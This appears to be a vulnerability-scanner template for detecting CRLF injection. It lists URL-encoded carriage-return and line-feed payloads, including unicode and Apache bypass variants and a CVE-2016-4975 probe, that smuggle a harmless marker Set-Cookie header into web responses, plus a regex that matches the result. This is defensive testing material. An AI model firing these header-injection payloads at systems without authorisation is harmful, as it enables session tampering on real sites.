id: crlf-injection

info:
  name: CRLF injection
  author: melbadry9 & nadino & xElkomy
  severity: low
  description: Improper sanitization of CRLF sequences.

requests:
  - method: GET
    path:
      - "{{BaseURL}}/%0D%0ASet-Cookie:crlfinjection=crlfinjection"
      - "{{BaseURL}}/%E5%98%8D%E5%98%8ASet-Cookie:crlfinjection=crlfinjection"  # unicode bypass
      - "{{BaseURL}}/%0DSet-Cookie:crlfinjection=crlfinjection"
      - "{{BaseURL}}/%0ASet-Cookie:crlfinjection=crlfinjection"
      - "{{BaseURL}}/%3F%0DSet-Cookie%3Acrlfinjection=crlfinjection"
      - "{{BaseURL}}/%0ASet-Cookie%3Acrlfinjection/.."  # Apache
      - "{{BaseURL}}/~user/%0D%0ASet-Cookie:crlfinjection"  # CVE-2016-4975
      - "{{BaseURL}}/?Page=%0D%0ASet-Cookie:crlfinjection=crlfinjection&_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&callback=%0D%0ASet-Cookie:crlfinjection=crlfinjection&checkout_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&content=%0D%0ASet-Cookie:crlfinjection=crlfinjection&continue=%0D%0ASet-Cookie:crlfinjection=crlfinjection&continueTo=%0D%0ASet-Cookie:crlfinjection=crlfinjection&counturl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&data=%0D%0ASet-Cookie:crlfinjection=crlfinjection&dest=%0D%0ASet-Cookie:crlfinjection=crlfinjection&dest_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&dir=%0D%0ASet-Cookie:crlfinjection=crlfinjection&document=%0D%0ASet-Cookie:crlfinjection=crlfinjection&domain=%0D%0ASet-Cookie:crlfinjection=crlfinjection&done=%0D%0ASet-Cookie:crlfinjection=crlfinjection&download=%0D%0ASet-Cookie:crlfinjection=crlfinjection&feed=%0D%0ASet-Cookie:crlfinjection=crlfinjection&file=%0D%0ASet-Cookie:crlfinjection=crlfinjection&host=%0D%0ASet-Cookie:crlfinjection=crlfinjection&html=%0D%0ASet-Cookie:crlfinjection=crlfinjection&http=%0D%0ASet-Cookie:crlfinjection=crlfinjection&https=%0D%0ASet-Cookie:crlfinjection=crlfinjection&image=%0D%0ASet-Cookie:crlfinjection=crlfinjection&image_src=%0D%0ASet-Cookie:crlfinjection=crlfinjection&image_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&imageurl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&include=%0D%0ASet-Cookie:crlfinjection=crlfinjection&media=%0D%0ASet-Cookie:crlfinjection=crlfinjection&navigation=%0D%0ASet-Cookie:crlfinjection=crlfinjection&next=%0D%0ASet-Cookie:crlfinjection=crlfinjection&open=%0D%0ASet-Cookie:crlfinjection=crlfinjection&out=%0D%0ASet-Cookie:crlfinjection=crlfinjection&page=%0D%0ASet-Cookie:crlfinjection=crlfinjection&page_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&pageurl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&path=%0D%0ASet-Cookie:crlfinjection=crlfinjection&picture=%0D%0ASet-Cookie:crlfinjection=crlfinjection&port=%0D%0ASet-Cookie:crlfinjection=crlfinjection&proxy=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redir=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redirect=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redirectUri&redirectUrl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&reference=%0D%0ASet-Cookie:crlfinjection=crlfinjection&referrer=%0D%0ASet-Cookie:crlfinjection=crlfinjection&req=%0D%0ASet-Cookie:crlfinjection=crlfinjection&request=%0D%0ASet-Cookie:crlfinjection=crlfinjection&retUrl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&return=%0D%0ASet-Cookie:crlfinjection=crlfinjection&returnTo=%0D%0ASet-Cookie:crlfinjection=crlfinjection&return_path=%0D%0ASet-Cookie:crlfinjection=crlfinjection&return_to=%0D%0ASet-Cookie:crlfinjection=crlfinjection&rurl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&show=%0D%0ASet-Cookie:crlfinjection=crlfinjection&site=%0D%0ASet-Cookie:crlfinjection=crlfinjection&source=%0D%0ASet-Cookie:crlfinjection=crlfinjection&src=%0D%0ASet-Cookie:crlfinjection=crlfinjection&target=%0D%0ASet-Cookie:crlfinjection=crlfinjection&to=%0D%0ASet-Cookie:crlfinjection=crlfinjection&uri=%0D%0ASet-Cookie:crlfinjection=crlfinjection&url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&val=%0D%0ASet-Cookie:crlfinjection=crlfinjection&validate=%0D%0ASet-Cookie:crlfinjection=crlfinjection&view=%0D%0ASet-Cookie:crlfinjection=crlfinjection&window=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redirect_to=%0D%0ASet-Cookie:crlfinjection=crlfinjection"

    matchers:
      - type: regex
        regex:
          - '(?m)^(?:Set-Cookie\s*?:(?:\s*?|.*?;\s*?))(crlfinjection=crlfinjection)(?:\s*?)(?:$|;)'
        part: header